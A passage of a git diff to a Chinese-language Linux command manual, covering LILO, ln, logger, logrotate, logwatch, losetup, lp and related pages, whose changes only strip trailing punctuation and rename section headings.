分区),这样需要向 /dev/hda 安装另一个引导加载程序,并令其指向 LILO 引导加载程序;然后只需要让 LILO 作为二级引导加载程序。通常,引导加载程序应该位于 /dev/hda。还可以将这个参数指向软盘驱动器(最常见的是 /dev/fd0),来制做 LILO 软盘引导磁盘 * map= 指向引导期间 LILO 内部使用的映射文件。当使用 /sbin/lilo 命令安装 LILO 时, 它会自动生成这个文件,其中包含有描述符表(还有其他内容)。建议不要改动这个文件! * install= 是 LILO 在引导过程中内部使用的文件之一。它同时包含有引导加载程序的主要部分和二级部分。boot.b 文件的 一个片段被写入到 MBR(引导加载程序的主要部分),它会指向那个映射,接下来指向二级引导加载程序。同样,不要改动它! -* prompt= 告诉 LILO 使用用户界面(本例中给出了两个选择 —— Linux 和 WindowsXP)。除了使用 prompt/user 界面以外,在适当情况下还可以为 Linux 内核等指定具体的参数。如果不在配置文件中指定此选项,那么 LILO 将引导到 默认的 OS,不发生任何用户交互,也不会等待。(但是请注意,如果在引导时按下了 SHIFT,那么还是可以得到提示,当不想把 引导加载程序暴露给普通用户时,这非常有用)。 -* timeout= 是引导提示在自动引导默认 OS(本例中是 Linux)之前的等待时间(以十分之一秒为单位)。 如果在 lilo.conf 没有指定 prompt,那么这个参数就会被忽略。 -* compact 选项可以大大加速引导过程,它会将连续的读磁盘的请求合并为一个单独的请求。不过,这可能是 一件祸福参半的事情,因为我在论坛上看到过很多贴子提到了关于此选项的问题。当希望从软盘引导时,这个选项尤其有用。 -* default= 选项告诉 LILO 默认使用哪个映像进行引导,比如在等待超时之后。这与 lilo.conf 文件中的某个映像的 标签相关联。如果没有在配置文件中指定此选项,那么它将引导文件中指定的第一个映像。 -* 对于允许用户引导到的每一个 Linux 版本,都应该指定 image= 及以下三个选项。image 选项指定希望 引导到的内核版本。 +* prompt= 告诉 LILO 使用用户界面(本例中给出了两个选择 —— Linux 和 WindowsXP)。除了使用 prompt/user 界面以外,在适当情况下还可以为 Linux 内核等指定具体的参数。如果不在配置文件中指定此选项,那么 LILO 将引导到 默认的 OS,不发生任何用户交互,也不会等待。(但是请注意,如果在引导时按下了 SHIFT,那么还是可以得到提示,当不想把 引导加载程序暴露给普通用户时,这非常有用) +* timeout= 是引导提示在自动引导默认 OS(本例中是 Linux)之前的等待时间(以十分之一秒为单位)。 如果在 lilo.conf 没有指定 prompt,那么这个参数就会被忽略 +* compact 选项可以大大加速引导过程,它会将连续的读磁盘的请求合并为一个单独的请求。不过,这可能是 一件祸福参半的事情,因为我在论坛上看到过很多贴子提到了关于此选项的问题。当希望从软盘引导时,这个选项尤其有用 +* default= 选项告诉 LILO 默认使用哪个映像进行引导,比如在等待超时之后。这与 lilo.conf 文件中的某个映像的 标签相关联。如果没有在配置文件中指定此选项,那么它将引导文件中指定的第一个映像 +* 对于允许用户引导到的每一个 Linux 版本,都应该指定 image= 及以下三个选项。image 选项指定希望 引导到的内核版本 * label= 标明了在运行期间希望能够从用户界面引导的不同 OS。另外,这个标签用于指定引导的默认 OS。 (注意:标签名称中避免出现空格;否则,引导那个文件时会出现无法预期的错误。) -* root= 告诉 LILO OS 文件系统实际所在的位置。在我们的示例中为 /dev/hdb3,即第二块硬盘上的第三个分区。 -* read-only 告诉 LILO 以只读的方式初始引导到文件系统。OS 一旦完全引导起来,就会以读写方式挂载。 -* password= 允许您为将要引导到的特定 OS 设置口令。不幸的是,这个口令是以可读文本的方式保存在 lilo.conf 文件中,所以,所有人都能够读取它。如果需要,还可以对想要引导自的每个操作系统设置口令(在我们的示例中,只为 Linux 的引导 设置了一个口令)。 -* other= 的动作类似于 image 和 root 选项的组合,但是用于除了 Linux 以外的其他操作系统。 在我们的示例中,它告诉 LILO 到哪里去找到 Windows OS(位于第一块硬盘的第一个分区)。如果先安装 Windows,后安装 Linux,通常会是这样。 -* label= 与所有其他 label 选项相同。 +* root= 告诉 LILO OS 文件系统实际所在的位置。在我们的示例中为 /dev/hdb3,即第二块硬盘上的第三个分区 +* read-only 告诉 LILO 以只读的方式初始引导到文件系统。OS 一旦完全引导起来,就会以读写方式挂载 +* password= 允许您为将要引导到的特定 OS 设置口令。不幸的是,这个口令是以可读文本的方式保存在 lilo.conf 文件中,所以,所有人都能够读取它。如果需要,还可以对想要引导自的每个操作系统设置口令(在我们的示例中,只为 Linux 的引导 设置了一个口令) +* other= 的动作类似于 image 和 root 选项的组合,但是用于除了 Linux 以外的其他操作系统。 在我们的示例中,它告诉 LILO 到哪里去找到 Windows OS(位于第一块硬盘的第一个分区)。如果先安装 Windows,后安装 Linux,通常会是这样 +* label= 与所有其他 label 选项相同 在 lilo.conf 文件中可以使用很多其他参数,不过清单 1 中的参数就足以让机器可用了。要获得关于 lilo.conf 的这些以及其他参数的 进一步资料,请参考手册页(man lilo.conf)。由于在引导时不会读取 lilo.conf,所以,当这个文件有改动时,需要“更新”MBR。 如果不完成此步骤就重新引导,那么对 lilo.conf 的修改不会在启动中反映出来。与先前将 LILO 写入 MBR 类似,需要运行: @@ -107,30 +107,30 @@ other=/dev/hda /sbin/lilo -v -v ``` -`-v -v`标记会为您给出非常详细的输出。当像我们那样运行 LILO 时,有很多参数可以指定。 参阅手册页以获得更进一步的信息(man lilo)。 +`-v -v`标记会为您给出非常详细的输出。当像我们那样运行 LILO 时,有很多参数可以指定。 参阅手册页以获得更进一步的信息(man lilo) **初始引导过程** 当 LILO 初始引导时,它会按次序打印出每个字母 —— L-I-L-O。如果所有字母都显示出来,那么第一阶段引导就成功了。缺少任何内容 都表示出现了问题: -L:第一阶段引导加载程序已经被加载。如果 LILO 停止在这里,那么是在引导第二阶段引导加载程序时出现了问题。这通常会伴随有一个错误代码。 在这个阶段的常见问题是介质问题,或者在 lilo.conf 文件中指定了不正确的磁盘参数。 +L:第一阶段引导加载程序已经被加载。如果 LILO 停止在这里,那么是在引导第二阶段引导加载程序时出现了问题。这通常会伴随有一个错误代码。 在这个阶段的常见问题是介质问题,或者在 lilo.conf 文件中指定了不正确的磁盘参数 -LI:第二阶段引导加载程序已经被加载。LILO 在此处停止表示第二阶段引导加载程序不能被执行。同样,这可能是因为出现了与只显示 L 类似的问题: 正在加载,或者因 boot.b 文件被破坏、移动或删除而不能加载。 +LI:第二阶段引导加载程序已经被加载。LILO 在此处停止表示第二阶段引导加载程序不能被执行。同样,这可能是因为出现了与只显示 L 类似的问题: 正在加载,或者因 boot.b 文件被破坏、移动或删除而不能加载 -LIL:第二阶段引导加载程序正在被执行。此时,可能会再次出现介质问题,或者映射文件(如 lilo.conf 文件中所指定的)在寻找描述符表时 可能会出现问题。 +LIL:第二阶段引导加载程序正在被执行。此时,可能会再次出现介质问题,或者映射文件(如 lilo.conf 文件中所指定的)在寻找描述符表时 可能会出现问题 -LIL?:加载到与上面相同的阶段。这通常意味着加载第二阶段引导加载程序使用了错误的地址,最常见的原因是 boot.b 所在的位置与 lilo.conf 文件所指定的不同。 +LIL?:加载到与上面相同的阶段。这通常意味着加载第二阶段引导加载程序使用了错误的地址,最常见的原因是 boot.b 所在的位置与 lilo.conf 文件所指定的不同 -LIL-:加载到与上面相同的阶段。加载描述符表时出现问题,最常见的原因是描述符表错误。 +LIL-:加载到与上面相同的阶段。加载描述符表时出现问题,最常见的原因是描述符表错误 -LILO:LILO 成功被加载,没有出现任何错误。 +LILO:LILO 成功被加载,没有出现任何错误 **引导时的附加配置** -LILO 被成功加载后,将看到 LILO 提示符。还是使用前面的示例 lilo.conf 文件,此时将有两个选择,可能对 LILO 新手来说并不直观。首先,可以 让 LILO 超时(10 秒后),这将引导`/dev/hdb3`,即 Linux 分区。另外,可以按下 TAB 键,这将列出将要引导的操作系统选项。在我们的示例 lilo.conf 中, 将得到的选项是 “Linux” 和 “Windows”。输入哪一个,就会引导到哪个 OS。指定加载 Linux 选项,会提示输入一个口令,在本例中是 linux。如果输入的口令有误,则会返回 LILO 提示符。 +LILO 被成功加载后,将看到 LILO 提示符。还是使用前面的示例 lilo.conf 文件,此时将有两个选择,可能对 LILO 新手来说并不直观。首先,可以 让 LILO 超时(10 秒后),这将引导`/dev/hdb3`,即 Linux 分区。另外,可以按下 TAB 键,这将列出将要引导的操作系统选项。在我们的示例 lilo.conf 中, 将得到的选项是 “Linux” 和 “Windows”。输入哪一个,就会引导到哪个 OS。指定加载 Linux 选项,会提示输入一个口令,在本例中是 linux。如果输入的口令有误,则会返回 LILO 提示符 -不幸的是,LILO 不支持引导期间的交互式配置,所以,只能在 lilo.conf 中或者运行`/sbin/lilo`时指定选项。 +不幸的是,LILO 不支持引导期间的交互式配置,所以,只能在 lilo.conf 中或者运行`/sbin/lilo`时指定选项 -关于第一次尝试 LILO 的最后一点建议是:我发现使用软盘引导磁盘比使用硬盘实现 LILO 配置更为安全。为此,必须在 lilo.conf 文件中使用`boot=/dev/fd0`替换`boot=/dev/hda`。那样,如果弄乱了lilo.conf文件 中的任何配置,都可以取出引导磁盘并像先前一样引导到 Linux。当使用软盘进行引导一切正常以后,可以将lilo.conf修改回`boot=/dev/hda`,然后最后一次运行`/sbin/lilo`来上传修改。 +关于第一次尝试 LILO 的最后一点建议是:我发现使用软盘引导磁盘比使用硬盘实现 LILO 配置更为安全。为此,必须在 lilo.conf 文件中使用`boot=/dev/fd0`替换`boot=/dev/hda`。那样,如果弄乱了lilo.conf文件 中的任何配置,都可以取出引导磁盘并像先前一样引导到 Linux。当使用软盘进行引导一切正常以后,可以将lilo.conf修改回`boot=/dev/hda`,然后最后一次运行`/sbin/lilo`来上传修改 diff --git a/Linux_man_cn/ln.md b/Linux_man_cn/ln.md index f9a1cb6..8d542c6 100644 --- a/Linux_man_cn/ln.md +++ b/Linux_man_cn/ln.md @@ -84,9 +84,9 @@ Linux具有为一个文件起多个名字的功能,称为链接。被链接的 ### 硬链接 硬链接特点: -1.源文件和硬链接文件的属性完全相同; -2.类似于cp -p 复制文件指令,不同之处是时间值不同; -3.硬链接是同步更新的; +1.源文件和硬链接文件的属性完全相同 +2.类似于cp -p 复制文件指令,不同之处是时间值不同 +3.硬链接是同步更新的 4.硬链接不能跨文件系统,类似于跨分区....(实质上文件系统就是一个初始化后的分区,属于独立存储空间,同时在文件的逻辑结构上是隶属于根目录) 建立硬链接时,在另外的目录或本目录中增加目标文件的一个目录项,这样,一个文件就登记在多个目录中。如图所示的m2.c文件就在目录mub1和liu中都 @@ -104,7 +104,7 @@ Linux具有为一个文件起多个名字的功能,称为链接。被链接的 ### 软,硬链接不同点: -如果源文件被删除的话,软连接文件只是一个符号链接,因此软连接文件不可访问。硬链接文件是可以访问的,相当于源文件的一个拷贝, +如果源文件被删除的话,软连接文件只是一个符号链接,因此软连接文件不可访问。硬链接文件是可以访问的,相当于源文件的一个拷贝 大小内容是一样的,同步更新 为了更好的理解两者的不同点,下面来分析一下软硬链接的原理: @@ -118,7 +118,7 @@ Linux具有为一个文件起多个名字的功能,称为链接。被链接的 ### 符号链接 -符号链接也称为软链接,是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上,它只是一个文本文件(如图中的abc文件), +符号链接也称为软链接,是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上,它只是一个文本文件(如图中的abc文件) 其中包含它提供链接的另一个文件的路径名,如图中虚线箭头所示。另一个文件是实际包含所有数据的文件。所有读、写文件内容的命令被用于 符号链接时,将沿着链接方向前进来访问实际的文件 diff --git a/Linux_man_cn/lnstat.md b/Linux_man_cn/lnstat.md index 6f4f528..f6b8352 100644 --- a/Linux_man_cn/lnstat.md +++ b/Linux_man_cn/lnstat.md @@ -5,9 +5,9 @@ lnstat ## 说明 -**lnstat命令** 用来显示Linux系统的网路状态。 +**lnstat命令** 用来显示Linux系统的网路状态 -### 语法 +## 选项 ``` lnstat(选项) @@ -16,14 +16,14 @@ lnstat(选项) ``` --h:显示帮助信息; --V:显示指令版本信息; --c:指定显示网络状态的次数,每隔一定时间显示一次网络状态; --d:显示可用的文件或关键字; --i:指定两次显示网络状的间隔秒数; --k:只显示给定的关键字; --s:是否显示标题头; --w:指定每个字段所占的宽度。 +-h:显示帮助信息 +-V:显示指令版本信息 +-c:指定显示网络状态的次数,每隔一定时间显示一次网络状态 +-d:显示可用的文件或关键字 +-i:指定两次显示网络状的间隔秒数 +-k:只显示给定的关键字 +-s:是否显示标题头 +-w:指定每个字段所占的宽度 ``` diff --git a/Linux_man_cn/locale.md b/Linux_man_cn/locale.md index c054b1c..e40c797 100644 --- a/Linux_man_cn/locale.md +++ b/Linux_man_cn/locale.md @@ -8,13 +8,13 @@ locate [选择参数] [样式] 选项 ```sh --e 将排除在寻找的范围之外。 --1 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的 权限资料。 --f 将特定的档案系统排除在外,例如我们没有到理要把 proc 档案系统中的档案 放在资料库中。 --q 安静模式,不会显示任何错误讯息。 --n 至多显示 n个输出。 --r 使用正规运算式 做寻找的条件。 --o 指定资料库存的名称。 +-e 将排除在寻找的范围之外 +-1 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的 权限资料 +-f 将特定的档案系统排除在外,例如我们没有到理要把 proc 档案系统中的档案 放在资料库中 +-q 安静模式,不会显示任何错误讯息 +-n 至多显示 n个输出 +-r 使用正规运算式 做寻找的条件 +-o 指定资料库存的名称 -d 指定资料库的路径 -h 显示辅助讯息 -V 显示程式的版本讯息 diff --git a/Linux_man_cn/locate.md b/Linux_man_cn/locate.md index 1549702..ef232d0 100644 --- a/Linux_man_cn/locate.md +++ b/Linux_man_cn/locate.md @@ -2,11 +2,11 @@ ## 说明 -locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的数据库,之后当寻找时就只需查询这个数据库,而不必实际深入档案系统之中了。在一般的 distribution 之中,数据库的建立都被放在 crontab 中自动执行。 +locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的数据库,之后当寻找时就只需查询这个数据库,而不必实际深入档案系统之中了。在一般的 distribution 之中,数据库的建立都被放在 crontab 中自动执行 locate命令可以在搜寻数据库时快速找到档案,数据库(/var/lib/locatedb)由updatedb程序来更新,数据库含有本地所有的文件信息,updatedb是由cron daemon周期性建立的,locate命令在搜寻数据库时比由整个由硬盘资料来搜寻资料来得快,但较差劲的是locate所找到的档案若是最近才建立或 刚更名的,可能会找不到,为了避免这种情况,可以在使用locate之前,先使用updatedb命令,手动更新数据库。在内定值中,updatedb每天会跑一次,可以由修改crontab来更新设定值。(etc/crontab) -locate指定用在搜寻符合条件的档案,它会去储存档案与目录名称的数据库内,寻找合乎范本样式条件的档案或目录录,可以使用特殊字元(如”*” 或”?”等)来指定范本样式,如指定范本为kcpa*ner, locate 会找出所有起始字串为kcpa且结尾为ner的档案或目录,如名称为kcpartner若目录录名称为kcpa_ner则会列出该目录下包括 子目录在内的所有档案。 +locate指定用在搜寻符合条件的档案,它会去储存档案与目录名称的数据库内,寻找合乎范本样式条件的档案或目录录,可以使用特殊字元(如”*” 或”?”等)来指定范本样式,如指定范本为kcpa*ner, locate 会找出所有起始字串为kcpa且结尾为ner的档案或目录,如名称为kcpartner若目录录名称为kcpa_ner则会列出该目录下包括 子目录在内的所有档案 locate指令和find找寻档案的功能类似,但locate是透过update程序将硬盘中的所有档案和目录资料先建立一个索引数据库,在 执行loacte时直接找该索引,查询速度会较快,索引数据库一般是由操作系统管理,但也可以直接下达update强迫系统立即修改索引数据库 diff --git a/Linux_man_cn/logger.md b/Linux_man_cn/logger.md index b486cb5..7c7c3ea 100644 --- a/Linux_man_cn/logger.md +++ b/Linux_man_cn/logger.md @@ -7,7 +7,7 @@ logger **logger命令** 是用于往系统中写入日志,他提供一个shell命令接口到syslog系统模块 -### 语法 +## 选项 ``` logger [options] [message] @@ -23,12 +23,12 @@ logger [options] [message] -h, --help 显示帮助文本并退出 -n, --server 写入指定的远程syslog服务器,使用UDP代替内装式syslog的例程 -P, --port 使用指定的UDP端口。默认的端口号是514 - -p, --priority 指定输入消息的优先级,优先级可以是数字或者指定为 " facility.level" 的格式。 - 比如:" -p local3.info " local3 这个设备的消息级别为 info。 + -p, --priority 指定输入消息的优先级,优先级可以是数字或者指定为 " facility.level" 的格式 + 比如:" -p local3.info " local3 这个设备的消息级别为 info 默认级别是 "user.notice" - -s, --stderr 输出标准错误到系统日志。 + -s, --stderr 输出标准错误到系统日志 -t, --tag 指定标记记录 - -u, --socket 写入指定的socket,而不是到内置系统日志例程。 + -u, --socket 写入指定的socket,而不是到内置系统日志例程 -V, --version 输出版本信息并退出 ``` diff --git a/Linux_man_cn/login.md b/Linux_man_cn/login.md index 06f9c5a..073f9bf 100644 --- a/Linux_man_cn/login.md +++ b/Linux_man_cn/login.md @@ -5,9 +5,9 @@ login ## 说明 -**login命令** 用于给出登录界面,可用于重新登录或者切换用户身份,也可通过它的功能随时更换登入身份。在Slackware发行版中 ,您可在命令后面附加欲登入的用户名称,它会直接询问密码,等待用户输入。当`/etc/nologin`文件存在时,系统只root帐号登入系统,其他用户一律不准登入。 +**login命令** 用于给出登录界面,可用于重新登录或者切换用户身份,也可通过它的功能随时更换登入身份。在Slackware发行版中 ,您可在命令后面附加欲登入的用户名称,它会直接询问密码,等待用户输入。当`/etc/nologin`文件存在时,系统只root帐号登入系统,其他用户一律不准登入 -### 语法 +## 选项 ``` login(选项)(参数) @@ -16,12 +16,12 @@ login(选项)(参数) ``` --p:告诉login指令不销毁环境变量; --h:指定远程服务器的主机名。 +-p:告诉login指令不销毁环境变量 +-h:指定远程服务器的主机名 ``` ### 参数 -用户名:指定登录使用的用户名。 +用户名:指定登录使用的用户名 diff --git a/Linux_man_cn/logname.md b/Linux_man_cn/logname.md index d8cc0f3..31806c4 100644 --- a/Linux_man_cn/logname.md +++ b/Linux_man_cn/logname.md @@ -5,9 +5,9 @@ logname ## 说明 -**logname命令** 用来显示用户名称。 +**logname命令** 用来显示用户名称 -### 语法 +## 选项 ``` logname(选项) @@ -16,8 +16,8 @@ logname(选项) ``` ---help:在线帮助; ---vesion:显示版本信息。 +--help:在线帮助 +--vesion:显示版本信息 ``` diff --git a/Linux_man_cn/logout.md b/Linux_man_cn/logout.md index b55cf72..eb4323f 100644 --- a/Linux_man_cn/logout.md +++ b/Linux_man_cn/logout.md @@ -5,9 +5,9 @@ logout ## 说明 -**logout命令** 用于退出当前登录的Shell,logout指令让用户退出系统,其功能和login指令相互对应。 +**logout命令** 用于退出当前登录的Shell,logout指令让用户退出系统,其功能和login指令相互对应 -### 语法 +## 选项 ``` logout diff --git a/Linux_man_cn/logrotate.md b/Linux_man_cn/logrotate.md index 24db35d..a04fea4 100644 --- a/Linux_man_cn/logrotate.md +++ b/Linux_man_cn/logrotate.md @@ -5,9 +5,9 @@ logrotate ## 说明 -**logrotate命令** 用于对系统日志进行轮转、压缩和删除,也可以将日志发送到指定邮箱。使用logrotate指令,可让你轻松管理系统所产生的记录文件。每个记录文件都可被设置成每日,每周或每月处理,也能在文件太大时立即处理。您必须自行编辑,指定配置文件,预设的配置文件存放在`/etc/logrotate.conf`文件中。 +**logrotate命令** 用于对系统日志进行轮转、压缩和删除,也可以将日志发送到指定邮箱。使用logrotate指令,可让你轻松管理系统所产生的记录文件。每个记录文件都可被设置成每日,每周或每月处理,也能在文件太大时立即处理。您必须自行编辑,指定配置文件,预设的配置文件存放在`/etc/logrotate.conf`文件中 -### 语法 +## 选项 ``` logrotate(选项)(参数) @@ -16,16 +16,16 @@ logrotate(选项)(参数) ``` --?或--help:在线帮助; --d或--debug:详细显示指令执行过程,便于排错或了解程序执行的情况; --f或--force :强行启动记录文件维护操作,纵使logrotate指令认为没有需要亦然; --s<状态文件>或--state=<状态文件>:使用指定的状态文件; --v或--version:显示指令执行过程; --usage:显示指令基本用法。 +-?或--help:在线帮助 +-d或--debug:详细显示指令执行过程,便于排错或了解程序执行的情况 +-f或--force :强行启动记录文件维护操作,纵使logrotate指令认为没有需要亦然 +-s<状态文件>或--state=<状态文件>:使用指定的状态文件 +-v或--version:显示指令执行过程 +-usage:显示指令基本用法 ``` ### 参数 -配置文件:指定lograote指令的配置文件。 +配置文件:指定lograote指令的配置文件 diff --git a/Linux_man_cn/logsave.md b/Linux_man_cn/logsave.md index 0a0c815..3b36924 100644 --- a/Linux_man_cn/logsave.md +++ b/Linux_man_cn/logsave.md @@ -5,9 +5,9 @@ logsave ## 说明 -**logsave命令** 运行给定的命令,并将命令的输出信息保存到指定的日志文件中。 +**logsave命令** 运行给定的命令,并将命令的输出信息保存到指定的日志文件中 -### 语法 +## 选项 ``` logsave(选项)(参数) @@ -16,12 +16,12 @@ logsave(选项)(参数) ``` --a:追加信息到指定的日志文件中。 +-a:追加信息到指定的日志文件中 ``` ### 参数 -* 日志文件:指定记录运行信息的日志文件; -* 指令:需要执行的指令。 +* 日志文件:指定记录运行信息的日志文件 +* 指令:需要执行的指令 diff --git a/Linux_man_cn/logwatch.md b/Linux_man_cn/logwatch.md index 4c66b7d..9dea7fc 100644 --- a/Linux_man_cn/logwatch.md +++ b/Linux_man_cn/logwatch.md @@ -5,9 +5,9 @@ logwatch ## 说明 -**logwatch命令** 是一个可定制和可插入式的日志监视系统,它通过遍历给定时间范围内的系统日志文件而产生日志报告。logwatch默认每天执行一次,可以从`/etc/cron.daily`里看到。 +**logwatch命令** 是一个可定制和可插入式的日志监视系统,它通过遍历给定时间范围内的系统日志文件而产生日志报告。logwatch默认每天执行一次,可以从`/etc/cron.daily`里看到 -### 语法 +## 选项 ``` logwatch(选项) @@ -16,22 +16,22 @@ logwatch(选项) ``` ---detail<报告详细程度>:指定日志报告的详细程度; ---logfile<日志文件>:仅处理指定的日志文件; ---service<服务名>:仅处理指定服务的日志文件; ---print:打印结果到标准输出; ---mailto<邮件地址>:将结果发送到指定邮箱; ---range<日期范围>:指定处理日志的日期范围; ---archives:处理归档日志文件; ---debug<调试等级>:调试模式; ---save<文件名>:将结果保存到指定文件中,而不显示或者发送到指定邮箱; ---logdir<目录>:指定查找日志文件的目录,而不使用默认的日志目录; ---hostname<主机名>:指定在日志报告中使用的主机名,不使用系统默认的主机名; ---numeric:在报告中显示ip地址而不是主机名; ---help:显示指令的帮助信息。 +--detail<报告详细程度>:指定日志报告的详细程度 +--logfile<日志文件>:仅处理指定的日志文件 +--service<服务名>:仅处理指定服务的日志文件 +--print:打印结果到标准输出 +--mailto<邮件地址>:将结果发送到指定邮箱 +--range<日期范围>:指定处理日志的日期范围 +--archives:处理归档日志文件 +--debug<调试等级>:调试模式 +--save<文件名>:将结果保存到指定文件中,而不显示或者发送到指定邮箱 +--logdir<目录>:指定查找日志文件的目录,而不使用默认的日志目录 +--hostname<主机名>:指定在日志报告中使用的主机名,不使用系统默认的主机名 +--numeric:在报告中显示ip地址而不是主机名 +--help:显示指令的帮助信息 ``` -### 实例 +## 实例 检查你的主机上是否已经存在Logwatch(Redhat默认已经安装了Logwatch,不过版本比较旧): @@ -53,14 +53,14 @@ rpm -Uvh logwatch***.rpm 安装完毕后,开始配置: -可以修改和添加它的logfiles、services和其他配置,但默认已经有很多脚本了,只要在1)里设置`Detail = High`就可以了。 +可以修改和添加它的logfiles、services和其他配置,但默认已经有很多脚本了,只要在1)里设置`Detail = High`就可以了 * 可以添加新的配置到`/etc/logwatch/conf/logwatch.conf` * 也可以修改`/usr/share/logwatch/default.conf/logwatch.conf` -`/etc/logwatch/conf/`会自动覆盖`/usr/share/logwatch/default.conf/`下的同名文件。 +`/etc/logwatch/conf/`会自动覆盖`/usr/share/logwatch/default.conf/`下的同名文件 -如果没有设置logwatch.conf也没关系,可以直接在命令行下设置。 +如果没有设置logwatch.conf也没关系,可以直接在命令行下设置 ``` logwatch --detail High --Service All --range All --print 基本就可以显示出所有日志的情况了 diff --git a/Linux_man_cn/look.md b/Linux_man_cn/look.md index 35802df..bb6060a 100644 --- a/Linux_man_cn/look.md +++ b/Linux_man_cn/look.md @@ -2,7 +2,7 @@ ## 说明 -**look命令** look实用程序显示文件中包含字符串的所有行。 当外观执行二进制搜索时,必须对文件中的行进行排序;如果未指定file,则使用文件/usr/share/dict/words,仅比较字母数字字符,并忽略字母字符的大小写。 +**look命令** look实用程序显示文件中包含字符串的所有行。 当外观执行二进制搜索时,必须对文件中的行进行排序;如果未指定file,则使用文件/usr/share/dict/words,仅比较字母数字字符,并忽略字母字符的大小写 diff --git a/Linux_man_cn/losetup.md b/Linux_man_cn/losetup.md index fc81b93..c5f5cc6 100644 --- a/Linux_man_cn/losetup.md +++ b/Linux_man_cn/losetup.md @@ -5,9 +5,9 @@ losetup ## 说明 -**losetup命令** 用来设置循环设备。循环设备可把文件虚拟成块设备,籍此来模拟整个文件系统,让用户得以将其视为硬盘驱动器,光驱或软驱等设备,并挂入当作目录来使用。 +**losetup命令** 用来设置循环设备。循环设备可把文件虚拟成块设备,籍此来模拟整个文件系统,让用户得以将其视为硬盘驱动器,光驱或软驱等设备,并挂入当作目录来使用 -### 语法 +## 选项 ``` losetup [ -e encryption ] [ -o offset ] loop_device file @@ -17,27 +17,27 @@ losetup [ -d ] loop_device ``` --a 显示所有循环设备的状态。 --d 卸除设备。 --e <加密选项> 启动加密编码 。 --f 寻找第一个未使用的循环设备。 --o <偏移量>设置数据偏移量,单位是字节。 +-a 显示所有循环设备的状态 +-d 卸除设备 +-e <加密选项> 启动加密编码 +-f 寻找第一个未使用的循环设备 +-o <偏移量>设置数据偏移量,单位是字节 ``` ### 参数 -* loop_device:循环设备可以是/dev/loop0, /dev/loop1 ... /dev/loop7。 +* loop_device:循环设备可以是/dev/loop0, /dev/loop1 ... /dev/loop7 * file:要与循环设备相关联的文件名,这个往往是一个磁盘镜象文件,如 *.img ### loop设备介绍 -在类 UNIX 系统里,loop 设备是一种伪设备(pseudo-device),或者也可以说是仿真设备。它能使我们像块设备一样访问一个文件。在使用之前,一个 loop 设备必须要和一个文件进行连接。这种结合方式给用户提供了一个替代块特殊文件的接口。因此,如果这个文件包含有一个完整的文件系统,那么这个文件就可以像一个磁盘设备一样被 mount 起来。 +在类 UNIX 系统里,loop 设备是一种伪设备(pseudo-device),或者也可以说是仿真设备。它能使我们像块设备一样访问一个文件。在使用之前,一个 loop 设备必须要和一个文件进行连接。这种结合方式给用户提供了一个替代块特殊文件的接口。因此,如果这个文件包含有一个完整的文件系统,那么这个文件就可以像一个磁盘设备一样被 mount 起来 -上面说的文件格式,我们经常见到的是 cd 或 DVD 的 ISO 光盘镜像文件或者是软盘(硬盘)的 *.img 镜像文件。通过这种 loop mount (回环mount)的方式,这些镜像文件就可以被 mount 到当前文件系统的一个目录下。 +上面说的文件格式,我们经常见到的是 cd 或 DVD 的 ISO 光盘镜像文件或者是软盘(硬盘)的 *.img 镜像文件。通过这种 loop mount (回环mount)的方式,这些镜像文件就可以被 mount 到当前文件系统的一个目录下 -至此,顺便可以再理解一下 loop 之含义:对于第一层文件系统,它直接安装在我们计算机的物理设备之上;而对于这种被 mount 起来的镜像文件(它也包含有文件系统),它是建立在第一层文件系统之上,这样看来,它就像是在第一层文件系统之上再绕了一圈的文件系统,所以称为 loop。 +至此,顺便可以再理解一下 loop 之含义:对于第一层文件系统,它直接安装在我们计算机的物理设备之上;而对于这种被 mount 起来的镜像文件(它也包含有文件系统),它是建立在第一层文件系统之上,这样看来,它就像是在第一层文件系统之上再绕了一圈的文件系统,所以称为 loop -### 实例 +## 实例 创建空的磁盘镜像文件,这里创建一个1.44M的软盘: @@ -57,7 +57,7 @@ losetup /dev/loop1 floppy.img mount /dev/loop0 /tmp ``` -经过上面的三步之后,我们就可以通过/tmp目录,像访问真实快设备一样来访问磁盘镜像文件floppy.img。 +经过上面的三步之后,我们就可以通过/tmp目录,像访问真实快设备一样来访问磁盘镜像文件floppy.img 卸载loop设备: diff --git a/Linux_man_cn/lp.md b/Linux_man_cn/lp.md index 638a252..6a510aa 100644 --- a/Linux_man_cn/lp.md +++ b/Linux_man_cn/lp.md @@ -5,9 +5,9 @@ lp ## 说明 -**lp命令** 用于打印文件,或者修改排队的打印任务。与lpr命令类似,lp命令既支持文件输入也支持标准输入。它与lpr的不同之处在于它有一个不同(稍微复杂点)的参数选项设置。 +**lp命令** 用于打印文件,或者修改排队的打印任务。与lpr命令类似,lp命令既支持文件输入也支持标准输入。它与lpr的不同之处在于它有一个不同(稍微复杂点)的参数选项设置 -### 语法 +## 选项 ``` lp(选项)(参数) @@ -16,22 +16,22 @@ lp(选项)(参数) ``` --E:与打印服务器连接时强制使用加密; --U:指定连接打印服务器时使用的用户名; --d:指定接收打印任务的目标打印机; --i:指定一个存在的打印任务号; --m:打印完成时发送E-mail; --n:指定打印的份数; --t:指定打印任务的名称; --H:指定打印任务开始的时间; --P:指定需要打印的页码。 +-E:与打印服务器连接时强制使用加密 +-U:指定连接打印服务器时使用的用户名 +-d:指定接收打印任务的目标打印机 +-i:指定一个存在的打印任务号 +-m:打印完成时发送E-mail +-n:指定打印的份数 +-t:指定打印任务的名称 +-H:指定打印任务开始的时间 +-P:指定需要打印的页码 ``` ### 参数 -文件:需打印的文件。 +文件:需打印的文件 -### 实例 +## 实例 要在连接在设备dlp0上的打印机lp0上打印文件`/etc/motd`,请输入: @@ -67,7 +67,7 @@ lp -s myfile 该命令返回以下退出值: -* 0:所有输入文件成功处理。 -* >0:没有输出设备可用,或者出现一个错误。 +* 0:所有输入文件成功处理 +* >0:没有输出设备可用,或者出现一个错误 diff --git a/Linux_man_cn/lpadmin.md b/Linux_man_cn/lpadmin.md index 54fb3c9..d2e2dd4 100644 --- a/Linux_man_cn/lpadmin.md +++ b/Linux_man_cn/lpadmin.md @@ 